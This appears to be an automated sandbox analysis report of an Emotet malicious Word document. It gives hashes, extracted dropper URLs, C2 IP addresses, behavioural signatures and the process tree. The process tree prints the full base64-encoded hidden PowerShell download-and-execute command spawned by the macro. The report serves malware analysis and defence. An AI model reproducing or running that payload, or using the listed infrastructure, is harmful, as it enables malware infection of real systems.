Analysis

  • max time kernel
    136s
  • max time network
    138s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    30/10/2020, 18:30

General

  • Target
    emotet_e1_187f517f74f931122f3e90e4c675edca1df65b2f4e40cc86fdb514d4a1adeb8f_2020-10-30__182655252765._doc.doc
  • Size 181KB
  • Sample201030-tbcexadv2x
  • SHA256 187f517f74f931122f3e90e4c675edca1df65b2f4e40cc86fdb514d4a1adeb8f
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://dotasarim.com/wp-admin/AYO/

  • exe.dropper

    http://servitekifix.com/wp-admin/nBJ/

  • exe.dropper

    http://dieteticienne-tiffany.com/wp-includes/p/

  • exe.dropper

    https://moralaree.com/journal/R/

  • exe.dropper

    https://mobis-autoloan.com/wp-content/76/

  • exe.dropper

    http://footballstep.com/cgi-bin/A/

  • exe.dropper

    https://www.naturalwaterresources.com/wp-content/XjR/

Extracted

Family
  • emotet

Botnet
  • Epoch1

C2
  • 190.202.229.74:80

  • 118.69.11.81:7080

  • 70.39.251.94:8080

  • 87.230.25.43:8080

  • 94.23.62.116:8080

  • 37.187.161.206:8080

  • 45.46.37.97:80

  • 138.97.60.141:7080

  • 177.144.130.105:8080

  • 169.1.39.242:80

  • 209.236.123.42:8080

  • 202.134.4.210:7080

  • 193.251.77.110:80

  • 2.45.176.233:80

  • 217.13.106.14:8080

  • 189.223.16.99:80

  • 190.101.156.139:80

  • 77.238.212.227:80

  • 181.58.181.9:80

  • 37.183.81.217:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_187f517f74f931122f3e90e4c675edca1df65b2f4e40cc86fdb514d4a1adeb8f_2020-10-30__182655252765._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3980
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -windowstyle hidden -ENCOD IAAgAFMAZQBUACAAKAAnAFMAUgAnACsAJwB5AEMAJwApACAAKAAgACAAWwB0AHkAcABlAF0AKAAiAHsAMwB9AHsAMgB9AHsAMQB9AHsANAB9AHsAMAB9ACIAIAAtAGYAIAAnAGQAaQByAEUAQwBUAE8AcgBZACcALAAnAEUATQAuAGkAJwAsACcAUwB0ACcALAAnAHMAWQAnACwAJwBvAC4AJwApACAAKQAgACAAOwAgACAAIABzAGUAdAAtAGkAdABFAE0AIAAgACgAJwBWAEEAUgBpACcAKwAnAEEAYgAnACsAJwBsAEUAOgBMADEAJwArACcANABhAEkAJwApACAAIAAoACAAIABbAHQAWQBwAGUAXQAoACIAewA0AH0AewAwAH0AewA1AH0AewAxAH0AewAyAH0AewAzAH0AIgAtAGYAIAAnAG0ALgBuAEUAdAAuAFMAJwAsACcASQBOAHQAJwAsACcATQAnACwAJwBhAG4AQQBHAGUAUgAnACwAJwBzAHkAUwB0AEUAJwAsACcAZQBSAFYASQBjAGUAUABPACcAKQAgACkAIAA7ACAAIAAkAFkAeQBvAGEAaQBmADcAPQAoACcAVgAnACsAKAAnADcAMQAnACsAJwBlAGUAJwApACsAJwBzAHkAJwApADsAJABBADAAdwBzADcAYQA4AD0AJABUAHAAZABpAGkAMwByACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABVAG0AXwBuAGoAdAAzADsAJABJAHgAdQBoAHgAOABtAD0AKAAoACcAQwAnACsAJwB4AHgAbAAnACkAKwAoACcAbAAnACsAJwBhADEAJwApACkAOwAgACgAIABJAHQARQBNACAAIAAoACIAdgBhACIAKwAiAHIASQAiACsAIgBBACIAKwAiAGIAbABFADoAUwByAFkAQwAiACkAKQAuAFYAYQBMAFUARQA6ADoAIgBjAHIARQBgAEEAdABFAGAARABpAFIAYABlAEMAdABgAE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwA0ACcAKwAnAEUAdQBWACcAKQArACgAJwAwACcAKwAnADEAcgBnAGEAZgA0ACcAKwAnAEUAdQAnACkAKwAnAE4AJwArACgAJwBoADUAJwArACcAMgAnACkAKwAoACcAbwBfACcAKwAnAHcANABFACcAKQArACcAdQAnACkALgAiAHIAYABFAFAATABhAGMARQAiACgAKABbAGMASABhAHIAXQA1ADIAKwBbAGMASABhAHIAXQA2ADkAKwBbAGMASABhAHIAXQAxADEANwApACwAJwBcACcAKQApACkAOwAkAE8AcABfADAAOABvADIAPQAoACcARQAnACsAJwAyAGkAJwArACgAJwA4AGcAcwAnACsAJwA1ACcAKQApADsAIAAoAFYAQQByAGkAQQBCAGwAZQAgACgAIgBsACIAKwAiADEANABhAEkAIgApACAALQB2AGEAbABVAGUAbwApADoAOgAiAFMAZQBgAGMAdQBgAFIASQB0AHkAUABSAE8AdABgAG8AQwBvAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAxACcAKwAnADIAJwApACkAOwAkAEMAegAzAHIAOQByADMAPQAoACcAQgAnACsAJwBwACcAKwAoACcAZgB2AGUAJwArACcAZwBtACcAKQApADsAJABLAHkAYQA4AGgAOQBpACAAPQAgACgAKAAnAFEAJwArACcAXwA0ADUAdQAnACkAKwAnADUAZQAnACsAJwAwADgAJwApADsAJABBADcAeQBxAHMAdgA1AD0AKAAoACcARgB3AGkAJwArACcAagBjACcAKQArACcAZAB4ACcAKQA7ACQAWABzAGkAZwBiAGEAcAA9ACgAKAAnAEgAaAAnACsAJwB6AF8AJwApACsAKAAnADIAawAnACsAJwB2ACcAKQApADsAJABEAGUAYgAxAGQAMgBhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AVgAnACsAJwAwACcAKwAnADEAJwArACgAJwByAGcAJwArACcAYQBmACcAKQArACcAewAwAH0ATgBoADUAMgBvAF8AJwArACcAdwB7ADAAJwArACcAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAcgBdADkAMgApACsAJABLAHkAYQA4AGgAOQBpACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAUAB1AHEAOABoAHcAOAA9ACgAKAAnAFQAJwArACcANAAwACcAKQArACgAJwAxAHMAJwArACcAbgAnACkAKwAnADgAJwApADsAJABBAHIAbwA2AHYAaAAyAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAGMATABJAGUAbgB0ADsAJABQAHQAMgBpAG8AbwA4AD0AKAAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKQArACcAXQBbACcAKwAoACcAKABzACcAKwAnACkAJwApACsAKAAoACcAXQB3ACcAKwAnAF0AWwAoAHMAJwApACkAKwAnACkAJwArACgAJwBdACcAKwAnAHcAZABvACcAKQArACgAJwB0AGEAcwBhACcAKwAnAHIAaQBtACcAKwAnAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAF0AWwAnACkAKwAoACgAJwAoAHMAJwApACkAKwAoACgAJwApAF0AJwApACkAKwAoACcAdwAnACsAJwB3AHAAJwApACsAKAAoACcALQBhAGQAbQAnACsAJwBpAG4AJwArACcAXQBbACgAcwAnACkAKQArACgAKAAnACkAXQAnACsAJwB3AEEAWQBPACcAKwAnAF0AJwApACkAKwAnAFsAJwArACgAJwAoAHMAJwArACcAKQAnACkAKwAoACcAXQB3ACcAKwAnAEAAJwApACsAJwBoACcAKwAnAHQAJwArACgAJwB0AHAAJwArACcAOgBdACcAKQArACgAJwBbACgAJwArACcAcwApAF0AJwApACsAKAAnAHcAJwArACcAXQBbACgAcwApAF0AJwApACsAJwB3ACcAKwAnAHMAJwArACgAJwBlAHIAJwArACcAdgBpACcAKQArACgAJwB0AGUAawBpACcAKwAnAGYAaQB4AC4AYwAnACsAJwBvACcAKwAnAG0AJwArACcAXQBbACcAKQArACgAJwAoACcAKwAnAHMAKQAnACkAKwAoACcAXQB3ACcAKwAnAHcAcAAtACcAKQArACgAJwBhAGQAbQBpACcAKwAnAG4AXQBbACcAKQArACgAJwAoAHMAKQAnACsAJwBdAHcAJwApACsAKAAnAG4AJwArACcAQgBKAF0AWwAnACkAKwAoACcAKABzACkAXQAnACsAJwB3ACcAKQArACgAJwBAAGgAdAB0ACcAKwAnAHAAOgAnACkAKwAoACgAJwBdAFsAKAAnACsAJwBzACcAKQApACsAKAAoACcAKQAnACsAJwBdACcAKwAnAHcAXQBbACgAcwApAF0AdwAnACkAKQArACcAZABpACcAKwAnAGUAJwArACgAJwB0AGUAdAAnACsAJwBpACcAKQArACgAJwBjACcAKwAnAGkAZQBuAG4AJwApACsAKAAnAGUALQB0ACcAKwAnAGkAZgBmACcAKQArACgAJwBhAG4AJwArACcAeQAnACkAKwAoACcALgBjACcAKwAnAG8AbQAnACkAKwAnAF0AJwArACgAJwBbACgAcwApAF0AdwAnACsAJwB3ACcAKwAnAHAALQAnACsAJwBpACcAKQArACcAbgAnACsAJwBjAGwAJwArACgAJwB1ACcAKwAnAGQAZQBzACcAKQArACcAXQBbACcAKwAoACgAJwAoAHMAJwApACkAKwAoACgAJwApAF0AdwAnACsAJwBwACcAKQApACsAKAAnAF0AWwAoAHMAJwArACcAKQAnACkAKwAnAF0AJwArACgAJwB3AEAAJwArACcAaAB0ACcAKQArACcAdABwACcAKwAnAHMAJwArACgAKAAnADoAJwArACcAXQBbACgAJwApACkAKwAoACgAJwBzACkAJwApACkAKwAoACcAXQB3AF0AWwAoAHMAJwArACcAKQBdAHcAbQAnACsAJwBvACcAKwAnAHIAJwApACsAKAAnAGEAJwArACcAbABhAHIAZQAnACkAKwAnAGUAJwArACgAJwAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAnACsAJwBdAFsAJwApACsAKAAnACgAcwAnACsAJwApAF0AdwBqAG8AJwArACcAdQAnACkAKwAoACgAJwByAG4AYQBsAF0AJwArACcAWwAoACcAKwAnAHMAJwApACkAKwAoACgAJwApAF0AJwArACcAdwBSAF0AWwAnACkAKQArACgAJwAoACcAKwAnAHMAKQBdAHcAQABoACcAKwAnAHQAJwApACsAKAAnAHQAcAAnACsAJwBzADoAJwApACsAKAAnAF0AWwAoACcAKwAnAHMAKQAnACsAJwBdACcAKQArACgAJwB3AF0AJwArACcAWwAnACkAKwAnACgAJwArACgAKAAnAHMAKQAnACkAKQArACgAJwBdAHcAJwArACcAbQBvAGIAJwApACsAJwBpACcAKwAnAHMAJwArACgAJwAtAGEAdQB0ACcAKwAnAG8AbAAnACkAKwAnAG8AYQAnACsAJwBuAC4AJwArACgAJwBjAG8AJwArACcAbQBdAFsAJwArACcAKABzACkAJwApACsAKAAnAF0AdwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYwAnACkAKwAnAG8AbgAnACsAKAAoACcAdAAnACsAJwBlAG4AdAAnACsAJwBdAFsAKAAnACkAKQArACgAKAAnAHMAKQAnACsAJwBdAHcAJwApACkAKwAnADcANgAnACsAKAAnAF0AWwAoAHMAJwArACcAKQBdACcAKQArACgAJwB3AEAAaAB0ACcAKwAnAHQAcAA6AF0AWwAoACcAKwAnAHMAKQAnACsAJwBdAHcAXQBbACgAJwArACcAcwApAF0AJwApACsAJwB3ACcAKwAnAGYAJwArACgAJwBvAG8AdABiAGEAbAAnACsAJwBsAHMAJwArACcAdAAnACsAJwBlAHAALgBjAG8AJwApACsAKAAnAG0AXQBbACgAJwArACcAcwAnACsAJwApAF0AJwApACsAKAAnAHcAYwBnAGkALQBiAGkAJwArACcAbgAnACkAKwAnAF0AWwAnACsAKAAnACgAJwArACcAcwApAF0AJwApACsAJwB3AEEAJwArACgAJwBdACcAKwAnAFsAKABzACkAXQAnACkAKwAoACcAdwBAAGgAJwArACcAdAB0AHAAcwA6ACcAKwAnAF0AJwApACsAKAAoACcAWwAoACcAKwAnAHMAJwApACkAKwAoACgAJwApAF0AdwAnACsAJwBdAFsAJwApACkAKwAnACgAJwArACgAKAAnAHMAJwArACcAKQBdACcAKQApACsAJwB3ACcAKwAoACcAdwB3AHcALgAnACsAJwBuAGEAJwArACcAdAB1AHIAJwArACcAYQAnACsAJwBsAHcAJwArACcAYQB0ACcAKwAnAGUAcgByACcAKwAnAGUAcwBvAHUAcgBjAGUAJwApACsAJwBzACcAKwAoACcALgBjAG8AJwArACcAbQBdACcAKQArACcAWwAnACsAKAAnACgAJwArACcAcwApAF0AJwArACcAdwB3AHAALQAnACkAKwAoACcAYwBvAG4AJwArACcAdABlAG4AJwApACsAJwB0ACcAKwAoACgAJwBdAFsAJwArACcAKAAnACkAKQArACcAcwAnACsAKAAoACcAKQBdAHcAWABqAFIAXQAnACsAJwBbACcAKwAnACgAcwApAF0AJwArACcAdwAnACkAKQApAC4AIgBSAGUAUABsAGAAQQBgAGMARQAiACgAKAAnAF0AWwAnACsAKAAnACgAcwApACcAKwAnAF0AdwAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAeAB3ACcAKwAnAGUAJwApACkAWwAwAF0AKQAuACIAcwBwAGAAbABJAFQAIgAoACQARQBwADgAdwAxADEAbQAgACsAIAAkAEEAMAB3AHMANwBhADgAIAArACAAJABMAGcAZwBsADcANgB2ACkAOwAkAEEAcAB5AHQAeAAyADgAPQAoACgAJwBPAHoAJwArACcAcQBqACcAKQArACcAYgAnACsAJwAxAF8AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABYAGcAbQBiADkAcQB4ACAAaQBuACAAJABQAHQAMgBpAG8AbwA4ACkAewB0AHIAeQB7ACQAQQByAG8ANgB2AGgAMgAuACIARABvAFcAYABOAGwAbwBgAEEAYABEAEYASQBMAGUAIgAoACQAWABnAG0AYgA5AHEAeAAsACAAJABEAGUAYgAxAGQAMgBhACkAOwAkAEgAXwA0AG0AbgAwAGQAPQAoACcARgBxACcAKwAoACcAcQBiAHAAdwAnACsAJwB5ACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAEQAZQBiADEAZAAyAGEAKQAuACIATABgAEUATgBnAHQAaAAiACAALQBnAGUAIAA0ADcANgAxADIAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3ACcAKwAoACcAaQBuACcAKwAnADMAJwApACsAKAAnADIAXwAnACsAJwBQAHIAbwAnACkAKwAoACcAYwBlACcAKwAnAHMAcwAnACkAKQApAC4AIgBjAFIAYABFAGEAdABlACIAKAAkAEQAZQBiADEAZAAyAGEAKQA7ACQAQQB6AGQAMQBvAGQAcQA9ACgAKAAnAFEAYgBiAGoAJwArACcAYwAnACkAKwAnADAAMgAnACkAOwBiAHIAZQBhAGsAOwAkAEgAYQA4AGMAagB2AGMAPQAoACgAJwBVAGwAJwArACcAZwBsACcAKQArACgAJwA2ADYAJwArACcAMAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBjAGEAYgA4AGgANwA9ACgAKAAnAEoAJwArACcANQAyACcAKQArACcAOAAnACsAKAAnAGIAJwArACcAdwBlACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3940
  • C:\Users\Admin\V01rgaf\Nh52o_w\Q_45u5e08.exe
    C:\Users\Admin\V01rgaf\Nh52o_w\Q_45u5e08.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:2152
    • C:\Windows\SysWOW64\netfxperf\finger.exe
      "C:\Windows\SysWOW64\netfxperf\finger.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:1976
  • \??\c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NgcSvc
    1⤵
      PID:2444
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s DeviceAssociationService
      1⤵
        PID:2924
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s NgcCtnrSvc
        1⤵
        • Modifies data under HKEY_USERS
        PID:752

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/1976-19-0x0000000002940000-0x0000000002973000-memory.dmp

            memory/1976-18-0x0000000002900000-0x0000000002934000-memory.dmp

            memory/2152-15-0x0000000002F30000-0x0000000002F63000-memory.dmp

            memory/2152-14-0x0000000002EF0000-0x0000000002F24000-memory.dmp

            memory/3940-9-0x00007FFF60FB0000-0x00007FFF6199C000-memory.dmp

            memory/3940-10-0x0000018E2D990000-0x0000018E2D991000-memory.dmp

            memory/3940-11-0x0000018E45CB0000-0x0000018E45CB1000-memory.dmp

            memory/3980-0-0x00007FFF68920000-0x00007FFF68F57000-memory.dmp

            memory/3980-8-0x0000021870CA5000-0x0000021870CAA000-memory.dmp

            memory/3980-7-0x0000021870CA5000-0x0000021870CAA000-memory.dmp

            memory/3980-6-0x00000218670C0000-0x00000218670C5000-memory.dmp

            memory/3980-4-0x0000021870B4F000-0x0000021870B54000-memory.dmp

            memory/3980-3-0x0000021870B4F000-0x0000021870B54000-memory.dmp

            memory/3980-2-0x0000021870B4F000-0x0000021870B54000-memory.dmp

            memory/3980-1-0x0000021870B4F000-0x0000021870B54000-memory.dmp